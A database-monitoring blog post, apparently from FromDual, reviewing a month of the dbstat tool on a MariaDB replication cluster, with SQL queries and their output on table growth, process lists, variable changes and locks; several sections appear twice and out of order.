i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 00:38:28 | Query | 0.084 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 03:15:28 | Query | 0.098 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 05:52:28 | Query | 0.000 | starting | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 08:27:28 | Query | 0.011 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-23 10:58:28 | Query | 0.000 | Sending data | select i.itemid,i.hostid,i.templateid from items i inner join ho | | 18 | 2024-04-23 13:31:28 | Query | 0.110 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 16:01:28 | Query | 0.023 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 18:35:28 | Query | 0.095 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 21:10:28 | Query | 0.017 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-23 23:44:28 | Query | 0.014 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-24 02:21:28 | Query | 0.024 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-24 07:33:28 | Query | 0.046 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+

It is also important that we only see the entries in this report when the thread has done SOMETHING (we have hidden state Sleep). It is also interesting that we do not see this (persistent) connection before 17 April, but at the moment I have NO explanation for this from an operational point of view (restart etc.). Probably the application (Zabbix) has to explain this.

Global variables

The information in the global_variables table is also interesting:

SQL> SELECT variable_name, ts, variable_value FROM global_variables WHERE machine_name = @machine_name AND variable_name IN ( SELECT variable_name FROM global_variables WHERE machine_name = @machine_name GROUP BY variable_name HAVING COUNT(*) > 1 ) ORDER BY ts, variable_name ; +---------------------------+---------------------+----------------+ | variable_name | ts | variable_value | +---------------------------+---------------------+----------------+ | auto_increment_increment | 2024-03-09 22:10:42 | 1 | | auto_increment_offset | 2024-03-09 22:10:42 | 1 | | read_only | 2024-03-09 22:10:42 | OFF | | slave_parallel_max_queued | 2024-03-09 22:10:42 | 131072 | | slave_parallel_threads | 2024-03-09 22:10:42 | 0 | | slave_parallel_workers | 2024-03-09 22:10:42 | 0 | | slave_skip_errors | 2024-03-09 22:10:42 | OFF | | system_time_zone | 2024-03-09 22:10:42 | CET | | read_only | 2024-03-27 09:42:50 | ON | | slave_skip_errors | 2024-03-27 12:33:13 | 1032 | | slave_skip_errors | 2024-03-27 12:35:13 | OFF | | slave_skip_errors | 2024-03-27 12:42:13 | 1032 | | slave_skip_errors | 2024-03-27 12:50:13 | OFF | | slave_parallel_threads | 2024-04-02 10:17:32 | 8 | | slave_parallel_workers | 2024-04-02 10:17:32 | 8 | | slave_parallel_max_queued | 2024-04-02 10:22:32 | 1048576 | | slave_parallel_max_queued | 2024-04-02 10:23:32 | 4194304 | | slave_parallel_max_queued | 2024-04-02 10:25:32 | 16777216 | | slave_parallel_threads | 2024-04-02 10:25:32 | 16 | | slave_parallel_workers | 2024-04-02 10:25:32 | 16 | | slave_parallel_threads | 2024-04-02 10:28:32 | 32 | | slave_parallel_workers | 2024-04-02 10:28:32 | 32 | | auto_increment_increment | 2024-04-02 10:39:32 | 2 | | auto_increment_offset | 2024-04-02 10:39:32 | 2 | | slave_parallel_max_queued | 2024-04-02 10:57:32 | 131072 | | slave_parallel_threads | 2024-04-02 10:57:32 | 0 | | slave_parallel_workers | 2024-04-02 10:57:32 | 0 | | system_time_zone | 2024-04-02 10:57:32 | CEST | | slave_parallel_max_queued | 2024-04-16 14:06:32 | 16777216 | | slave_parallel_threads | 2024-04-16 14:06:32 | 8 | | slave_parallel_workers | 2024-04-16 14:06:32 | 8 | | slave_parallel_max_queued | 2024-04-16 14:26:32 | 131072 | | slave_parallel_threads | 2024-04-16 14:26:32 | 0 | | slave_parallel_workers | 2024-04-16 14:26:32 | 0 | | slave_parallel_max_queued | 2024-04-17 09:03:32 | 16777216 | | slave_parallel_threads | 2024-04-17 09:03:32 | 16 | | slave_parallel_workers | 2024-04-17 09:03:32 | 16 | | slave_parallel_max_queued | 2024-04-24 08:26:32 | 131072 | | slave_parallel_threads | 2024-04-24 08:26:32 | 0 | | slave_parallel_workers | 2024-04-24 08:26:32 | 0 | | read_only | 2024-04-24 08:42:32 | OFF | +---------------------------+---------------------+----------------+

Here you can see very precisely when and what was done to the database:

On 9 March, dbstat was installed for the first time.
Then on 27 March (before Easter) there seem to have been problems with the replication (here the new version of dbstat was installed, which allows simultaneous collection on master and slave. This led to replication errors, which were partially rectified).
On 2 April (after Easter) we then tried to catch up with parallel replication. You can also see that AUTO_INCREMENT_OFFSET and AUTO_INCREMENT_INCREMENT have been changed. Here we have corrected an error in the database configuration...
You can also see that the time zone has changed from CET to CEST (summer time!) Why only on 2 April is not entirely clear to me. (Maybe because it came via replication?)
Then on 16 and 17 April we tried to reproduce a "bug" in the parallel replication. Apparently we did not reset the value. Because only after the restart on 24 April (usual fortnightly maintenance window) was the value reset again.
On 24 April, you can also see that the database has now assumed the role of the active master (read_only = off). A gracefull switchover has therefore taken place...

Conclusion: A very useful feature to see when something has been changed. Although I have followed all these operations closely, I am still amazed at the informative value of this feature. I would like to see it installed in all databases...

Metadata Lock and InnoDB Transaction Lock

Unfortunately, due to the low traffic on our databases, we do not see too much exciting stuff here.

Here are the metadata locks that we have "caught" on the master in the last 24 hours:

+---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+ | connection_id | ts | user | host | table_schema | table_name | state | SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) | +---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+ | 18 | 2024-04-23 14:16:47 | zabbix | localhost:51252 | zabbix | triggers | Writing to net | select triggerid,description,expression,error,priority,type,valu | | 1325025 | 2024-04-23 16:01:47 | zabbix | localhost:50150 | | | init for update | delete from history_text where itemid=85477 and clock<1678167661 | | 1325025 | 2024-04-23 16:01:47 | zabbix | localhost:50150 | zabbix | history_text | init for update | delete from history_text where itemid=85477 and clock<1678167661 | | 1365229 | 2024-04-24 02:13:47 | root | localhost:38096 | dbstat | global_status | Writing to net | SELECT /*!40001 SQL_NO_CACHE */ `machine_name`, `variable_name`, | | 18 | 2024-04-24 03:10:47 | zabbix | localhost:51252 | zabbix | item_tag | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 1368524 | 2024-04-24 04:41:47 | zabbix | localhost:38112 | | | | NULL | | 1368524 | 2024-04-24 04:41:47 | zabbix | localhost:38112 | zabbix | history_uint | | NULL | | 18 | 2024-04-24 05:46:47 | zabbix | localhost:51252 | zabbix | item_tag | Sending data | select itemtagid,itemid,tag,value from item_tag | +---------------+---------------------+--------+-----------------+--------------+---------------+-----------------+----------------------------------------------------------------------+

We have not found any InnoDB locks in the last 24 hours for 7 days in a row.

It would be interesting to see a system where more is happening...

Global status

If a normal database monitoring such as the FromDual Performance Monitor for MariaDB and MySQL (fpmmm) with Zabbix is used, this feature is not absolutely necessary. However, most of our customers do not have any useful monitoring in use. Therefore, this feature would be very useful for post-mortem analyses...

For example InnoDB Row Lock Waits, minute-granular over the last 30 days (analogue to sar from sysstat):

Here you can see that the database was restarted on 10 April between 08:37 and 08:41. You could also find this out in another way, but unfortunately this is often not possible for various reasons (error log rotated away, etc.).

The trend break around 2 April is also interesting. At this time we were experimenting with parallel replication. It should not have been a failover (see GLOBAL VARIABLES, above).

Although parallel replication was later deactivated again, there were more locks. A similar situation around the 16th/17th of April, here too we played around with parallel replication, which seems to have had an effect on the locking behaviour.

Even with this feature, there are many ways to analyse the database. Unfortunately, our database is relatively boring: Mainly monotonous traffic (which is plentiful due to the monitoring) and very little exceptional traffic.

Remark: This text has been translated with the assistance of DeepL.

Taxonomy upgrade extras: performance monitoring performance monitoring metadata lock locking performance_schema

Categories: FromDual all (en), FromDual TechFeed (en), MySQL Tech-Feed (en)

dbstat for MariaDB after one month of productive use

Shinguz - Fri, 2024-04-26 14:13

Table of contents

Review
One month later
Size of the tables
Process list
Global variables
Metadata Lock and InnoDB Transaction Lock
Global status

Review

After we introduced dbstat for MariaDB (and MySQL) a good 5 weeks ago, we naturally also rolled it out on our systems to test the behaviour in daily use (eat your own dog food).

This went quite well until we came up with the idea of activating dbstat on the passive dbstat node on our MariaDB active/passive master/master replication cluster (a similar situation would also occur with a Galera cluster). We realised that the design of dbstat still had potential. After this problem was fixed (v0.0.2 and v0.0.3) and the problem of how to activate events on master AND slave was solved (MDEV-33782: Event is always disabled on slave), everything seemed fine at first glance. Unfortunately, we did not realise that the data also had to be adjusted. As a result, our replication came to a complete stop over the Easter holidays, which then led to another problem when catching up (MDEV-33923: MariaDB parallel replication causes Foreign Key errors).

After this minor incident was also resolved, dbstat has been running flawlessly on our MariaDB master/master replication cluster ever since... The product dbstat is open source (GPLv2) and can be downloaded from GitHub.

One month later

Databases should NOT grow over time but only over the number of {customers, products, etc.} once the desired equilibrium (steady state) is reached. In our dbstat installation, we have set this equilibrium state to 30 days. So it is now time that the size of dbstat stabilises and the database stops growing...

It would also be interesting to understand what practical use dbstat has. That is why we have now set to work and are trying to analyse the results of dbstat.

Here is an overview of the 11 current running database events:

Firstly, the growth of dbstat itself is interesting. But of course this evaluation can also be carried out for any other database, table or catalogue (coming in MariaDB 11.7?):

SQL> SET SESSION sql_mode='STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION,only_full_group_by'; SQL> SET @machine_name = @@hostname; SQL> SELECT `table_schema`, SUBSTR(`ts`, 1, 10) AS date , ROUND(SUM(`data_length`)/1024/1024, 1) AS data_mb , ROUND(SUM(`index_length`)/1024/1024, 1) AS index_mb , ROUND(SUM(`data_free`)/1024/1024, 1) AS free_mb , ROUND((SUM(`data_length`) + SUM(`index_length`) + SUM(`data_free`))/1024/1024, 1) AS total_mb , ROUND(SUM(`table_rows`)/1000/1000, 1) AS rows_m FROM `table_size` WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' GROUP BY `table_catalog`, `table_schema`, `date` ORDER BY `table_catalog`, `table_schema`, `date` ASC ; +--------------+------------+---------+----------+---------+----------+--------+ | table_schema | date | data_mb | index_mb | free_mb | total_mb | rows_m | +--------------+------------+---------+----------+---------+----------+--------+ | dbstat | 2024-03-26 | 762.8 | 1128.6 | 18.0 | 1909.4 | 10.9 | | dbstat | 2024-03-27 | 835.8 | 1241.6 | 17.0 | 2094.4 | 11.1 | | dbstat | 2024-03-28 | 837.8 | 1241.6 | 14.0 | 2093.4 | 11.8 | | dbstat | 2024-03-29 | 960.7 | 1443.6 | 18.0 | 2422.4 | 14.2 | | dbstat | 2024-03-30 | 960.7 | 1443.6 | 17.0 | 2421.4 | 15.0 | | dbstat | 2024-03-31 | 1057.7 | 1604.6 | 20.0 | 2682.4 | 16.9 | | dbstat | 2024-04-01 | 1057.7 | 1602.6 | 21.0 | 2681.4 | 17.6 | | dbstat | 2024-04-02 | 1172.7 | 1797.6 | 22.0 | 2992.3 | 17.8 | | dbstat | 2024-04-03 | 1442.8 | 2333.7 | 12.0 | 3788.5 | 22.8 | | dbstat | 2024-04-04 | 1649.8 | 2723.7 | 13.0 | 4386.5 | 24.4 | | dbstat | 2024-04-05 | 1649.8 | 2722.7 | 14.0 | 4386.5 | 26.0 | | dbstat | 2024-04-06 | 1821.8 | 3034.8 | 13.0 | 4869.6 | 24.6 | | dbstat | 2024-04-07 | 1821.8 | 3034.8 | 14.0 | 4870.6 | 26.2 | | dbstat | 2024-04-08 | 1989.9 | 3344.8 | 12.0 | 5346.6 | 29.9 | | dbstat | 2024-04-09 | 1990.9 | 3343.8 | 14.0 | 5348.6 | 31.5 | | dbstat | 2024-04-10 | 2193.9 | 3712.8 | 13.0 | 5919.7 | 31.6 | | dbstat | 2024-04-11 | 2193.9 | 3712.8 | 15.0 | 5921.7 | 31.1 | | dbstat | 2024-04-12 | 2405.8 | 4119.1 | 12.0 | 6537.0 | 34.9 | | dbstat | 2024-04-13 | 2405.8 | 4119.1 | 14.0 | 6538.9 | 35.7 | | dbstat | 2024-04-14 | 2480.8 | 4278.9 | 15.0 | 6774.8 | 36.2 | | dbstat | 2024-04-15 | 2560.8 | 4443.7 | 12.0 | 7016.5 | 37.5 | | dbstat | 2024-04-16 | 2560.8 | 4443.7 | 12.0 | 7016.5 | 38.2 | | dbstat | 2024-04-17 | 2640.8 | 4610.6 | 18.0 | 7269.4 | 38.5 | | dbstat | 2024-04-18 | 2640.9 | 4611.6 | 14.0 | 7266.5 | 39.7 | | dbstat | 2024-04-19 | 2743.9 | 4826.5 | 14.0 | 7584.3 | 36.9 | | dbstat | 2024-04-20 | 2826.9 | 4995.5 | 14.0 | 7836.4 | 38.3 | | dbstat | 2024-04-21 | 2830.9 | 4997.4 | 18.0 | 7846.3 | 39.2 | | dbstat | 2024-04-22 | 2919.9 | 5177.4 | 14.0 | 8111.3 | 43.2 | | dbstat | 2024-04-23 | 2923.0 | 5177.3 | 16.0 | 8116.3 | 44.1 | | dbstat | 2024-04-24 | 3020.0 | 5376.3 | 16.0 | 8412.3 | 41.0 | | dbstat | 2024-04-25 | 3024.0 | 5377.3 | 17.0 | 8418.3 | 40.9 | +--------------+------------+---------+----------+---------+----------+--------+

If you take the disc space in the O/S for comparison:

# du -shc *.ibd 8.6G global_status.ibd 308K global_variables.ibd 692K metadata_lock.ibd 97M processlist.ibd 18M table_size.ibd 212K trx_and_lck.ibd 8.7G total

you can see that the values from the database are approximately correct (5% error)...

Important: The database dbstat reaches a size of approx. 9 Gbyte after approx. one month on a not particularly large database system.

You can also see that the size of the database is only just stabilising:

If you want to know more precisely which tables are responsible for which part of the data volume, you can also zoom in or drill down into the data:

SQL> SELECT `table_name`, SUBSTR(`ts`, 1, 10) AS date , ROUND(`data_length`/1024/1024, 1) AS data_mb , ROUND(`index_length`/1024/1024, 1) AS index_mb , ROUND(`data_free`/1024/1024, 1) AS free_mb , ROUND((`data_length` + `index_length` + `data_free`)/1024/1024, 1) AS total_mb , ROUND((`data_length` + `index_length` + `data_free`)/1024/1024/8418.26*100, 1) AS pct , ROUND(`table_rows`/1000/1000, 1) AS rows_m FROM `table_size` WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' AND SUBSTR(`ts`, 1, 10) = CURRENT_DATE() ORDER BY rows_m DESC ; +------------------+------------+---------+----------+---------+----------+------+--------+ | table_name | date | data_mb | index_mb | free_mb | total_mb | pct | rows_m | +------------------+------------+---------+----------+---------+----------+------+--------+ | global_status | 2024-04-25 | 2949.9 | 5356.9 | 5.0 | 8311.8 | 98.7 | 40.4 | | processlist | 2024-04-25 | 68.2 | 17.1 | 7.0 | 92.2 | 1.1 | 0.4 | | global_variables | 2024-04-25 | 0.1 | 0.1 | 0.0 | 0.2 | 0.0 | 0.0 | | metadata_lock | 2024-04-25 | 0.4 | 0.2 | 0.0 | 0.6 | 0.0 | 0.0 | | table_size | 2024-04-25 | 5.4 | 3.1 | 5.0 | 13.5 | 0.2 | 0.0 | | trx_and_lck | 2024-04-25 | 0.0 | 0.0 | 0.0 | 0.0 | 0.0 | 0.0 | +------------------+------------+---------+----------+---------+----------+------+--------+

Note: Please excuse the non-use of the window function!

The only real driver for the data volume of this database is the global_status table. This is to be expected (see: see quantity structure of dbstat).

SQL> SELECT SUBSTR(ts, 1, 10) AS date, table_rows/1000/1000 AS k_rows , ROUND(data_length/1024/1024, 1) AS data_mb, ROUND(index_length/1024/1024, 1) AS index_mb, ROUND(data_free/1024/1024, 1) AS free_mb , ROUND((data_length + index_length + data_free)/1024/1024, 1) AS total_mb FROM table_size WHERE `machine_name` = @machine_name AND `table_catalog` = 'def' AND `table_schema` = 'dbstat' AND table_name = 'global_status' AND ts > DATE_SUB(CURRENT_DATE, INTERVAL 10 DAY) ; +------------+-------------+---------+----------+---------+----------+ | date | k_rows | data_mb | index_mb | free_mb | total_mb | +------------+-------------+---------+----------+---------+----------+ | 2024-04-15 | 37.13876300 | 2512.9 | 4433.0 | 4.0 | 6949.9 | | 2024-04-16 | 37.94217200 | 2512.9 | 4433.0 | 4.0 | 6949.9 | + 0M | 2024-04-17 | 38.19867500 | 2592.9 | 4600.0 | 7.0 | 7199.9 | + 250M | 2024-04-18 | 39.39108500 | 2592.9 | 4600.0 | 5.0 | 7197.9 | - 2M | 2024-04-19 | 36.52539600 | 2691.9 | 4813.0 | 5.0 | 7509.8 | + 312M | 2024-04-20 | 37.99073500 | 2770.9 | 4980.9 | 6.0 | 7757.8 | + 248M | 2024-04-21 | 38.79420200 | 2770.9 | 4980.9 | 7.0 | 7758.8 | + 1M | 2024-04-22 | 42.82606200 | 2855.9 | 5158.9 | 6.0 | 8020.8 | + 263M | 2024-04-23 | 43.62953000 | 2855.9 | 5158.9 | 7.0 | 8021.8 | + 1M | 2024-04-24 | 40.54342200 | 2949.9 | 5356.9 | 7.0 | 8313.8 | + 292M | 2024-04-25 | 40.43067700 | 2949.9 | 5356.9 | 5.0 | 8311.8 | - 2M +------------+-------------+---------+----------+---------+----------+

Note: Sorry, I should really familiarise myself with the window functions...

If we analyse the data a bit more closely, we see that the number of rows has slowly stabilised over the last 4 days (note: table_rows is calculated (from the number of blocks and the average row length?) and is not an exact value), but the "amount of data" has continued to increase until yesterday, which is probably due to the fragmentation of the tables and indexes...

The primary key of the global_status table was chosen to optimise the localisation of the data:

PRIMARY KEY (`machine_name`,`variable_name`,`ts`),

The situation should calm down in the next few days. In 2 to 4 weeks we will have to check the situation again.

Summary: I would say that this feature fulfils the requirements and helps to understand the data growth.

List of processes

Since we do not have any serious load issues in our databases, this feature is not that interesting in our case. For example, we can see what a (persistent) connection has done:

SQL> SELECT connection_id, ts, command, time, state, SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) FROM processlist WHERE machine_name = @machine_name AND command != 'Sleep' AND connection_id = @connection_id AND state NOT IN ( 'Waiting for next activation' , 'Master has sent all binlog to slave; waiting for more updates' , 'Waiting for master to send event' , 'Slave has read all relay log; waiting for more updates' ) ORDER BY ts ASC ; +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+ | connection_id | ts | command | time | state | SUBSTR(REGEXP_REPLACE(REPLACE(query, "\n", ' '), '\ +', ' '), 1, 64) | +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+ | 18 | 2024-04-17 12:30:28 | Query | 0.029 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-17 14:58:28 | Query | 0.009 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-18 06:24:28 | Query | 0.003 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-18 11:34:28 | Query | 0.030 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-18 16:39:28 | Query | 0.006 | Sending data | select itemid,functionid,name,parameter,triggerid from functions | | 18 | 2024-04-18 19:12:28 | Query | 0.014 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-18 21:49:28 | Query | 0.004 | Writing to net | select i.itemid,i.hostid,i.templateid from items i inner join ho | | 18 | 2024-04-19 00:21:28 | Query | 0.032 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-19 02:59:28 | Query | 0.017 | Writing to net | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-19 05:39:28 | Query | 0.052 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 08:19:28 | Query | 0.000 | Statistics | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 13:26:28 | Query | 0.075 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-19 15:57:28 | Query | 0.027 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-19 18:33:28 | Query | 0.010 | Sending data | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-19 21:10:28 | Query | 0.008 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-19 23:50:28 | Query | 0.067 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 02:28:28 | Query | 0.008 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-20 05:08:28 | Query | 0.052 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 07:44:28 | Query | 0.123 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 10:21:28 | Query | 0.144 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 12:55:28 | Query | 0.004 | Sending data | select i.itemid,i.hostid,i.templateid from items i where i.flags | | 18 | 2024-04-20 15:35:28 | Query | 0.092 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 18:12:28 | Query | 0.041 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 20:47:28 | Query | 0.113 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-20 23:25:28 | Query | 0.101 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 02:03:28 | Query | 0.120 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 04:42:28 | Query | 0.099 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 07:18:28 | Query | 0.015 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 12:32:28 | Query | 0.018 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 15:06:28 | Query | 0.091 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-21 20:16:28 | Query | 0.012 | Sending data | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-22 06:44:28 | Query | 0.161 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 09:21:28 | Query | 0.000 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 11:54:28 | Query | 0.020 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 14:23:28 | Query | 0.067 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 16:59:28 | Query | 0.128 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-22 22:05:28 | Query | 0.078 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 00:38:28 | Query | 0.084 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 03:15:28 | Query | 0.098 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 05:52:28 | Query | 0.000 | starting | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 08:27:28 | Query | 0.011 | Sending data | select pp.item_preprocid,pp.itemid,pp.type,pp.params,pp.step,h.h | | 18 | 2024-04-23 10:58:28 | Query | 0.000 | Sending data | select i.itemid,i.hostid,i.templateid from items i inner join ho | | 18 | 2024-04-23 13:31:28 | Query | 0.110 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 16:01:28 | Query | 0.023 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 18:35:28 | Query | 0.095 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-23 21:10:28 | Query | 0.017 | Writing to net | select itemtagid,itemid,tag,value from item_tag | | 18 | 2024-04-23 23:44:28 | Query | 0.014 | Sending data | select triggerid,description,expression,error,priority,type,valu | | 18 | 2024-04-24 02:21:28 | Query | 0.024 | Sending data | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | | 18 | 2024-04-24 07:33:28 | Query | 0.046 | Writing to net | select i.itemid,i.hostid,i.status,i.type,i.value_type,i.key_,i.s | +---------------+---------------------+---------+-------+----------------+----------------------------------------------------------------------+

It is also important that we only see the entries in this report when the thread has done SOMETHING (we have hidden state Sleep). It is also interesting that we do not see this (persistent) connection before 17 April, but at the moment I have NO explanation for this from an operational point of view (restart etc.). Probably the application (Zabbix) has to explain this.

Global variables

The information in the global_variables table is also interesting:

SQL> SELECT variable_name, ts, variable_value FROM global_variables WHERE machine_name = @machine_name AND variable_name IN ( SELECT variable_name FROM global_variables WHERE machine_name = @machine_name GROUP BY variable_name HAVING COUNT(*) > 1 ) ORDER BY ts, variable_name ; +---------------------------+---------------------+----------------+ | variable_name | ts | variable_value | +---------------------------+---------------------+----------------+ | auto_increment_increment | 2024-03-09 22:10:42 | 1 | | auto_increment_offset | 2024-03-09 22:10:42 | 1 | | read_only | 2024-03-09 22:10:42 | OFF | | slave_parallel_max_queued | 2024-03-09 22:10:42 | 131072 | | slave_parallel_threads | 2024-03-09 22:10:42 | 0 | | slave_parallel_workers | 2024-03-09 22:10:42 | 0 | | slave_skip_errors | 2024-03-09 22:10:42 | OFF | | system_time_zone | 2024-03-09 22:10:42 | CET | | read_only | 2024-03-27 09:42:50 | ON | | slave_skip_errors | 2024-03-27 12:33:13 | 1032 | | slave_skip_errors | 2024-03-27 12:35:13 | OFF | | slave_skip_errors | 2024-03-27 12:42:13 | 1032 | | slave_skip_errors | 2024-03-27 12:50:13 | OFF | | slave_parallel_threads | 2024-04-02 10:17:32 | 8 | | slave_parallel_workers | 2024-04-02 10:17:32 | 8 | | slave_parallel_max_queued | 2024-04-02 10:22:32 | 1048576 | | slave_parallel_max_queued | 2024-04-02 10:23:32 | 4194304 | | slave_parallel_max_queued | 2024-04-02 10:25:32 | 16777216 | | slave_parallel_threads | 2024-04-02 10:25:32 | 16 | | slave_parallel_workers | 2024-04-02 10:25:32 | 16 | | slave_parallel_threads | 2024-04-02 10:28:32 | 32 | | slave_parallel_workers | 2024-04-02 10:28:32 | 32 | | auto_increment_increment | 2024-04-02 10:39:32 | 2 | | auto_increment_offset | 2024-04-02 10:39:32 | 2 | | slave_parallel_max_queued | 2024-04-02 10:57:32 | 131072 | | slave_parallel_threads | 2024-04-02 10:57:32 | 0 | | slave_parallel_workers | 2024-04-02 10:57:32 | 0 | | system_time_zone | 2024-04-02 10:57:32 | CEST | | slave_parallel_max_queued | 2024-04-16 14:06:32 | 16777216 | | slave_parallel_threads | 2024-04-16 14:06:32 | 8 | | slave_parallel_workers | 2024-04-16 14:06:32 | 8 | | slave_parallel_max_queued | 2024-04-16 14:26:32 | 131072 | | slave_parallel_threads | 2024-04-16 14:26:32 | 0 | | slave_parallel_workers | 2024-04-16 14:26:32 | 0 | | slave_parallel_max_queued | 2024-04-17 09:03:32 | 16777216 | | slave_parallel_threads | 2024-04-17 09:03:32 | 16 | | slave_parallel_workers | 2024-04-17 09:03:32 | 16 | | slave_parallel_max_queued | 2024-04-24 08:26:32 | 131072 | | slave_parallel_threads | 2024-04-24 08:26:32 | 0 | | slave_parallel_workers | 2024-04-24 08:26:32 | 0 | | read_only | 2024-04-24 08:42:32 | OFF | +---------------------------+---------------------+----------------+

Here you can see very precisely when and what was done to the database:

On 9 March, dbstat was installed for the first time.
Then on 27 March (before Easter) there seem to have been problems with the replication (here the new version of dbstat was installed, which allows simultaneous collection on master and slave. This led to replication errors, which were partially rectified).
On 2 April (after Easter) we then tried to catch up with parallel replication. You can also see that AUTO_INCREMENT_OFFSET and AUTO_INCREMENT_INCREMENT have been changed. Here we have corrected an error in the database configuration...
You can also see that the time zone has changed from CET to CEST (summer time!) Why only on 2 April is not entirely clear to me. (Maybe because it came via replication?)
Then on 16 and 17 April we tried to reproduce a "bug" in the parallel replication. Apparently we did not reset the value. Because only after the restart on 24 April (usual fortnightly maintenance window) was the value reset again.
On 24 April, you can also see that the database has now assumed the role of the active master (read_only = off). A gracefull switchover has therefore taken place...

Conclusion: A very useful feature to see when something has been changed. Although I have followed all these operations closely, I am still amazed at the informative value of this feature. I would like to see it installed in all databases...

Metadata Lock and InnoDB Transaction Lock

Unfortunately, due to the low traffic on our databases, we do not see too much exciting stuff here.

Here are the metadata locks that we have "caught" on the master in the last 24 hours:

